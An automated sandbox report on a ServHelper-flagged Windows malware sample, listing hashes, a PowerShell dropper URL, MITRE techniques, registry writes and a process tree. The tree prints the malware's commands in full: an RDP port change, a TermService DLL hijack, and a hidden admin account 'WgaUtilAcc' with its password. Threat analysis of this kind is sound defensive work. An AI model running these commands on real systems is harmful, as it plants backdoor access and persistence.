be9c5e5ce6d4544e6bddbd47c26873fe0c33414086824b1d4968a638184a8a7c

Analysis

max time kernel
48s
max time network
135s
platform
windows10_x64
resource
win10v20210410
submitted
11-08-2021 07:36

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General

Target

bfe0ac25eeeb759f7c8e06229c7313a2.exe
Size

5.9MB
MD5

bfe0ac25eeeb759f7c8e06229c7313a2
SHA1

199c1fbd29f9ec98b83464763dac63ef80998bb3
SHA256

be9c5e5ce6d4544e6bddbd47c26873fe0c33414086824b1d4968a638184a8a7c
SHA512

a0f3b477de1603d7e032608692857a4865059ba61ae1276334f281970a1484a6c81463fba2a2bbc9821c016e06e206d621fdb97e8743fc60e3515fba88997a72

Score

10^/10

persistence suricata upx

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1

Signatures

suricata: ET MALWARE ServHelper CnC Inital Checkin
suricata: ET MALWARE ServHelper CnC Inital Checkin
suricata
Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098

Blocklisted process makes network request 9 IoCs

flow	pid	Process
17	2824	powershell.exe
19	2824	powershell.exe
20	2824	powershell.exe
21	2824	powershell.exe
23	2824	powershell.exe
25	2824	powershell.exe
27	2824	powershell.exe
29	2824	powershell.exe
31	2824	powershell.exe

Modifies RDP port number used by Windows 1 TTPs

Remote Desktop Protocol
T1076
Sets DLL path for service in the registry 2 TTPs
persistence

Registry Run Keys / Startup Folder
T1060

Modify Registry
T1112

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/0x000600000001ab30-348.dat	upx
behavioral2/files/0x000700000001ab2f-349.dat	upx

Loads dropped DLL 2 IoCs

pid	Process
2876	Process not Found
2876	Process not Found

Drops file in Program Files directory 4 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\Uninstall Information\IE40.UserAgent\IE40.UserAgent.DAT	powershell.exe
File opened for modification	C:\Program Files\Uninstall Information\IE40.UserAgent\IE40.UserAgent.INI	powershell.exe
File opened for modification	C:\Program Files\Uninstall Information\IE.HKCUZoneInfo\IE.HKCUZoneInfo.DAT	powershell.exe
File opened for modification	C:\Program Files\Uninstall Information\IE.HKCUZoneInfo\IE.HKCUZoneInfo.INI	powershell.exe

Drops file in Windows directory 19 IoCs

description	ioc	Process
File opened for modification	C:\Windows\branding\ShellBrd	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGI5F2D.tmp	powershell.exe
File opened for modification	C:\Windows\branding\Basebrd	powershell.exe
File opened for modification	C:\Windows\branding\wupsvc.jpg	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\__PSScriptPolicyTest_4hlykntf.ztb.ps1	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGI5F4D.tmp	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGI5F6F.tmp	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File created	C:\Windows\branding\wupsvc.jpg	powershell.exe
File opened for modification	C:\Windows\branding\mediasvc.png	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\__PSScriptPolicyTest_vfb1nfhh.oxx.psm1	powershell.exe
File created	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\TMP4352$.TMP	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGI5F5E.tmp	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log	powershell.exe
File created	C:\Windows\branding\mediasrv.png	powershell.exe
File created	C:\Windows\branding\mediasvc.png	powershell.exe
File opened for modification	C:\Windows\branding\mediasrv.png	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGI5F6E.tmp	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\INetCache\counters2.dat	powershell.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE40.UserAgent\RegBackup\0.map\ef29a4ec885fa451 = ",33,HKCU,Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings,User Agent,"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE40.UserAgent\RegBackup\0.map\2ba02e083fadee33 = ",33,HKCU,Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings,IE5_UA_Backup_Flag,"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\2\Description = "This zone contains Web sites that you trust not to damage your computer or data."	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\Flags = "1"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "1"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProtocolDefaults\	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE40.UserAgent	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\PMDisplayName = "Internet [Protected Mode]"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\LowIcon = "inetcpl.cpl#005422"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3\1200 = "3"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\Icon = "shell32.dll#0016"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1\Flags = "219"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\2\LowIcon = "inetcpl.cpl#005424"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4\PMDisplayName = "Restricted sites [Protected Mode]"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\Flags = "33"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\Description = "Your computer"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\2\1200 = "3"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\DisplayName = "Computer"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2\CurrentLevel = "69632"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4\CurrentLevel = "73728"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3\Description = "This zone contains all Web sites you haven't placed in other zones"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2\1400 = "0"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProtocolDefaults\shell = "0"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\Ranges	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\User Agent = "Mozilla/4.0 (compatible; MSIE 8.0; Win32)"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\Icon = "shell32.dll#0018"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4\Description = "This zone contains Web sites that could potentially damage your computer or data."	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\1400 = "0"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4\1400 = "3"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\Flags = "33"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4\CurrentLevel = "0"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\Domains\	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3\Flags = "33"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\PMDisplayName = "My Computer [Protected Mode]"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1\	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\Icon = "inetcpl.cpl#001313"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\2\Flags = "33"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\2500 = "3"	powershell.exe
Set value (data)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE.HKCUZoneInfo\RegBackup\0\e1be3f182420a0a0 = 2c0053006f006600740077006100720065005c004d006900630072006f0073006f00660074005c00570069006e0064006f00770073005c00430075007200720065006e007400560065007200730069006f006e005c0049006e007400650072006e00650074002000530065007400740069006e00670073002c000000	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3\	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\Domains	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\Icon = "shell32.dll#0016"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2\PMDisplayName = "Trusted sites [Protected Mode]"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE40.UserAgent\RegBackup\0.map	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProtocolDefaults\https = "3"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2\Icon = "inetcpl.cpl#00004480"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\EnableNegotiate = "1"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\CurrentLevel = "66816"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\2\Icon = "inetcpl.cpl#00004480"	powershell.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
736	reg.exe

Runs net.exe

Script User-Agent 4 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	19	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	20	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	21	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	23	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: EnumeratesProcesses 18 IoCs

pid	Process
2732	powershell.exe
2732	powershell.exe
2732	powershell.exe
428	powershell.exe
428	powershell.exe
428	powershell.exe
1988	powershell.exe
1988	powershell.exe
1988	powershell.exe
2912	powershell.exe
2912	powershell.exe
2912	powershell.exe
2732	powershell.exe
2732	powershell.exe
2732	powershell.exe
2824	powershell.exe
2824	powershell.exe
2824	powershell.exe

Suspicious behavior: LoadsDriver 2 IoCs

pid	Process
620	Process not Found
620	Process not Found

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	1808	bfe0ac25eeeb759f7c8e06229c7313a2.exe
Token: SeDebugPrivilege	2732	powershell.exe
Token: SeDebugPrivilege	428	powershell.exe
Token: SeIncreaseQuotaPrivilege	428	powershell.exe
Token: SeSecurityPrivilege	428	powershell.exe
Token: SeTakeOwnershipPrivilege	428	powershell.exe
Token: SeLoadDriverPrivilege	428	powershell.exe
Token: SeSystemProfilePrivilege	428	powershell.exe
Token: SeSystemtimePrivilege	428	powershell.exe
Token: SeProfSingleProcessPrivilege	428	powershell.exe
Token: SeIncBasePriorityPrivilege	428	powershell.exe
Token: SeCreatePagefilePrivilege	428	powershell.exe
Token: SeBackupPrivilege	428	powershell.exe
Token: SeRestorePrivilege	428	powershell.exe
Token: SeShutdownPrivilege	428	powershell.exe
Token: SeDebugPrivilege	428	powershell.exe
Token: SeSystemEnvironmentPrivilege	428	powershell.exe
Token: SeRemoteShutdownPrivilege	428	powershell.exe
Token: SeUndockPrivilege	428	powershell.exe
Token: SeManageVolumePrivilege	428	powershell.exe
Token: 33	428	powershell.exe
Token: 34	428	powershell.exe
Token: 35	428	powershell.exe
Token: 36	428	powershell.exe
Token: SeDebugPrivilege	1988	powershell.exe
Token: SeIncreaseQuotaPrivilege	1988	powershell.exe
Token: SeSecurityPrivilege	1988	powershell.exe
Token: SeTakeOwnershipPrivilege	1988	powershell.exe
Token: SeLoadDriverPrivilege	1988	powershell.exe
Token: SeSystemProfilePrivilege	1988	powershell.exe
Token: SeSystemtimePrivilege	1988	powershell.exe
Token: SeProfSingleProcessPrivilege	1988	powershell.exe
Token: SeIncBasePriorityPrivilege	1988	powershell.exe
Token: SeCreatePagefilePrivilege	1988	powershell.exe
Token: SeBackupPrivilege	1988	powershell.exe
Token: SeRestorePrivilege	1988	powershell.exe
Token: SeShutdownPrivilege	1988	powershell.exe
Token: SeDebugPrivilege	1988	powershell.exe
Token: SeSystemEnvironmentPrivilege	1988	powershell.exe
Token: SeRemoteShutdownPrivilege	1988	powershell.exe
Token: SeUndockPrivilege	1988	powershell.exe
Token: SeManageVolumePrivilege	1988	powershell.exe
Token: 33	1988	powershell.exe
Token: 34	1988	powershell.exe
Token: 35	1988	powershell.exe
Token: 36	1988	powershell.exe
Token: SeDebugPrivilege	2912	powershell.exe
Token: SeIncreaseQuotaPrivilege	2912	powershell.exe
Token: SeSecurityPrivilege	2912	powershell.exe
Token: SeTakeOwnershipPrivilege	2912	powershell.exe
Token: SeLoadDriverPrivilege	2912	powershell.exe
Token: SeSystemProfilePrivilege	2912	powershell.exe
Token: SeSystemtimePrivilege	2912	powershell.exe
Token: SeProfSingleProcessPrivilege	2912	powershell.exe
Token: SeIncBasePriorityPrivilege	2912	powershell.exe
Token: SeCreatePagefilePrivilege	2912	powershell.exe
Token: SeBackupPrivilege	2912	powershell.exe
Token: SeRestorePrivilege	2912	powershell.exe
Token: SeShutdownPrivilege	2912	powershell.exe
Token: SeDebugPrivilege	2912	powershell.exe
Token: SeSystemEnvironmentPrivilege	2912	powershell.exe
Token: SeRemoteShutdownPrivilege	2912	powershell.exe
Token: SeUndockPrivilege	2912	powershell.exe
Token: SeManageVolumePrivilege	2912	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1808 wrote to memory of 2732	1808	bfe0ac25eeeb759f7c8e06229c7313a2.exe	76
PID 1808 wrote to memory of 2732	1808	bfe0ac25eeeb759f7c8e06229c7313a2.exe	76
PID 2732 wrote to memory of 736	2732	powershell.exe	78
PID 2732 wrote to memory of 736	2732	powershell.exe	78
PID 736 wrote to memory of 3328	736	csc.exe	79
PID 736 wrote to memory of 3328	736	csc.exe	79
PID 2732 wrote to memory of 428	2732	powershell.exe	80
PID 2732 wrote to memory of 428	2732	powershell.exe	80
PID 2732 wrote to memory of 1988	2732	powershell.exe	85
PID 2732 wrote to memory of 1988	2732	powershell.exe	85
PID 2732 wrote to memory of 2912	2732	powershell.exe	87
PID 2732 wrote to memory of 2912	2732	powershell.exe	87
PID 2732 wrote to memory of 3388	2732	powershell.exe	90
PID 2732 wrote to memory of 3388	2732	powershell.exe	90
PID 2732 wrote to memory of 736	2732	powershell.exe	91
PID 2732 wrote to memory of 736	2732	powershell.exe	91
PID 2732 wrote to memory of 208	2732	powershell.exe	92
PID 2732 wrote to memory of 208	2732	powershell.exe	92
PID 2732 wrote to memory of 3356	2732	powershell.exe	93
PID 2732 wrote to memory of 3356	2732	powershell.exe	93
PID 3356 wrote to memory of 1968	3356	net.exe	94
PID 3356 wrote to memory of 1968	3356	net.exe	94
PID 2732 wrote to memory of 2132	2732	powershell.exe	95
PID 2732 wrote to memory of 2132	2732	powershell.exe	95
PID 2132 wrote to memory of 736	2132	cmd.exe	96
PID 2132 wrote to memory of 736	2132	cmd.exe	96
PID 736 wrote to memory of 3388	736	cmd.exe	97
PID 736 wrote to memory of 3388	736	cmd.exe	97
PID 3388 wrote to memory of 2032	3388	net.exe	98
PID 3388 wrote to memory of 2032	3388	net.exe	98
PID 2732 wrote to memory of 2488	2732	powershell.exe	99
PID 2732 wrote to memory of 2488	2732	powershell.exe	99
PID 2488 wrote to memory of 2912	2488	cmd.exe	100
PID 2488 wrote to memory of 2912	2488	cmd.exe	100
PID 2912 wrote to memory of 492	2912	cmd.exe	101
PID 2912 wrote to memory of 492	2912	cmd.exe	101
PID 492 wrote to memory of 684	492	net.exe	102
PID 492 wrote to memory of 684	492	net.exe	102
PID 3948 wrote to memory of 1132	3948	cmd.exe	106
PID 3948 wrote to memory of 1132	3948	cmd.exe	106
PID 1132 wrote to memory of 3772	1132	net.exe	107
PID 1132 wrote to memory of 3772	1132	net.exe	107
PID 2784 wrote to memory of 1968	2784	cmd.exe	110
PID 2784 wrote to memory of 1968	2784	cmd.exe	110
PID 1968 wrote to memory of 1684	1968	net.exe	111
PID 1968 wrote to memory of 1684	1968	net.exe	111
PID 3116 wrote to memory of 3948	3116	cmd.exe	114
PID 3116 wrote to memory of 3948	3116	cmd.exe	114
PID 3948 wrote to memory of 1292	3948	net.exe	115
PID 3948 wrote to memory of 1292	3948	net.exe	115
PID 1280 wrote to memory of 2132	1280	cmd.exe	118
PID 1280 wrote to memory of 2132	1280	cmd.exe	118
PID 2132 wrote to memory of 2824	2132	net.exe	119
PID 2132 wrote to memory of 2824	2132	net.exe	119
PID 3864 wrote to memory of 2116	3864	cmd.exe	122
PID 3864 wrote to memory of 2116	3864	cmd.exe	122
PID 2116 wrote to memory of 3880	2116	net.exe	123
PID 2116 wrote to memory of 3880	2116	net.exe	123
PID 1132 wrote to memory of 748	1132	cmd.exe	126
PID 1132 wrote to memory of 748	1132	cmd.exe	126
PID 748 wrote to memory of 3936	748	net.exe	127
PID 748 wrote to memory of 3936	748	net.exe	127
PID 1292 wrote to memory of 3956	1292	cmd.exe	130
PID 1292 wrote to memory of 3956	1292	cmd.exe	130

C:\Users\Admin\AppData\Local\Temp\bfe0ac25eeeb759f7c8e06229c7313a2.exe
"C:\Users\Admin\AppData\Local\Temp\bfe0ac25eeeb759f7c8e06229c7313a2.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1808
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
  2⤵
  - Drops file in Windows directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2732
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\4dpkxhkc\4dpkxhkc.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:736
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES2938.tmp" "c:\Users\Admin\AppData\Local\Temp\4dpkxhkc\CSC566D3070E6FA445095B09EA7D51A1EB8.TMP"
      4⤵
      PID:3328
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:428
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1988
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2912
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
    3⤵
    PID:3388
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
    3⤵
    - Modifies registry key
    PID:736
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
    3⤵
    PID:208
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3356
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
      4⤵
      PID:1968
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2132
  - - C:\Windows\system32\cmd.exe
      cmd /c net start rdpdr
      4⤵
      Suspicious use of WriteProcessMemory
      PID:736
    - - C:\Windows\system32\net.exe
        
        net start rdpdr
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:3388
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start rdpdr
        6⤵
        
        PID:2032
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2488
  - - C:\Windows\system32\cmd.exe
      cmd /c net start TermService
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2912
    - - C:\Windows\system32\net.exe
        
        net start TermService
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:492
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start TermService
        6⤵
        
        PID:684
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
    3⤵
    PID:4472
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
    3⤵
    PID:4488

C:\Windows\System32\cmd.exe
cmd /C net.exe user WgaUtilAcc 000000 /del
1⤵
- Suspicious use of WriteProcessMemory
PID:3948
- C:\Windows\system32\net.exe
  net.exe user WgaUtilAcc 000000 /del
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1132
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WgaUtilAcc 000000 /del
    3⤵
    PID:3772

C:\Windows\System32\cmd.exe
cmd /C net.exe user WgaUtilAcc pz7fz8AV /add
1⤵
- Suspicious use of WriteProcessMemory
PID:2784
- C:\Windows\system32\net.exe
  net.exe user WgaUtilAcc pz7fz8AV /add
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1968
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WgaUtilAcc pz7fz8AV /add
    3⤵
    PID:1684

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
1⤵
- Suspicious use of WriteProcessMemory
PID:3116
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3948
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
    3⤵
    PID:1292

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" RJMQBVDN$ /ADD
1⤵
- Suspicious use of WriteProcessMemory
PID:1280
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" RJMQBVDN$ /ADD
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2132
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" RJMQBVDN$ /ADD
    3⤵
    PID:2824

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
1⤵
- Suspicious use of WriteProcessMemory
PID:3864
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2116
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Administrators" WgaUtilAcc /ADD
    3⤵
    PID:3880

C:\Windows\System32\cmd.exe
cmd /C net.exe user WgaUtilAcc pz7fz8AV
1⤵
- Suspicious use of WriteProcessMemory
